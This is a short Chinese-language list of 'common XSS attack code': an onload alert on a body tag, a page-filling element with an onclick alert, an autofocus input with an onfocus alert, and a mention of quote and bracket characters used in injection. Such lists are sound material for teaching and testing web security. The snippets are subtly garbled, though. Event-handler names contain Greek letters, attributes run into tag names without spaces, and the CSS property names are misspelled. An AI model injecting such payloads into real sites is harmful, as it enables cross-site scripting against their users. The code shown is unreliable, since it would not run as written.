xss常见攻击代码有:

1.加载完毕自动触发事件:

<bodyοnlοad="alert('xss')"></body>

2.使html某元素撑满整个页面:

<pοnclick="alert('1')"style="postion:fixed;width:100%;heith:100%"></p>

3.增加属性触发事件:

<inputοnfοcus="alert('1')"autofocus/>

4.特殊字符' 、" 、( 、)等等。